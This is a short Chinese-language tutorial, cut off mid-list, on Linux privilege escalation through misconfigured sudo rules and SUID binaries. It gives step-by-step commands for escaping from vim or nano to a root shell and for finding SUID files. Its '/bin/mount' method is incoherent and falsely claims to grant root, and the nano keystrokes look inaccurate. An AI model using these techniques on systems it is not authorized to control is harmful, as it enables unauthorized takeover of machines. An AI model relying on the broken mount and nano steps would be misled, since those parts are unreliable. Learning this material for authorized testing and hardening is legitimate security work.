Linux提权
常规提权方式 一、sudo滥用提权 sudo -l提示要输入密码的原因: 默认SUDO行为 : 需要输入当前用户的密码(不是root)密码 sudoers配置问题: 未配置免密码访问 在/etc/sudoers文件中没有为当前用户配置NOPASSWD选项 配置覆盖问题: 用户组覆盖了用户配置,可能被添加到了wheel用户组 检查当前用户所在组 id username 如果发现在wheel组中,检查wheel组的配置 查看%wheel相关配置,看是否设置了NOPASSWD或要求密码 sudo visudo 从wheel组中移除用户 sudo gpasswd -d username wheel 利用步骤: 查看当前用户sudo权限: sudo -l 示例输出:(ALL) NOPASSWD: /usr/bin/vim 利用vim提权: sudo /usr/bin/vim 在vim中输入 :set shell=/bin/bash 回车 然后输入 :shell 回车 成功获得root shell 利用其他命令提权: 如果发现可以执行/usr/bin/nano: sudo /usr/bin/nano 在nano中按Ctrl+R,输入!bash,回车 即可获得root shell 说明: sudo配置不当,允许用户以root身份执行特定命令,而无需密码验证。 二、SUID特殊权限提权 利用步骤: 查找SUID文件: find / -perm -u=s -type f 2>/dev/null 利用/bin/mount提权: mkdir /tmp/mount touch /tmp/mount/malicious_file sudo /bin/mount -o bind /tmp/mount /tmp/mount sudo /bin/mount /tmp/mount /tmp/mount 通过此方式可获取root权限 利用/bin/ping提权: ...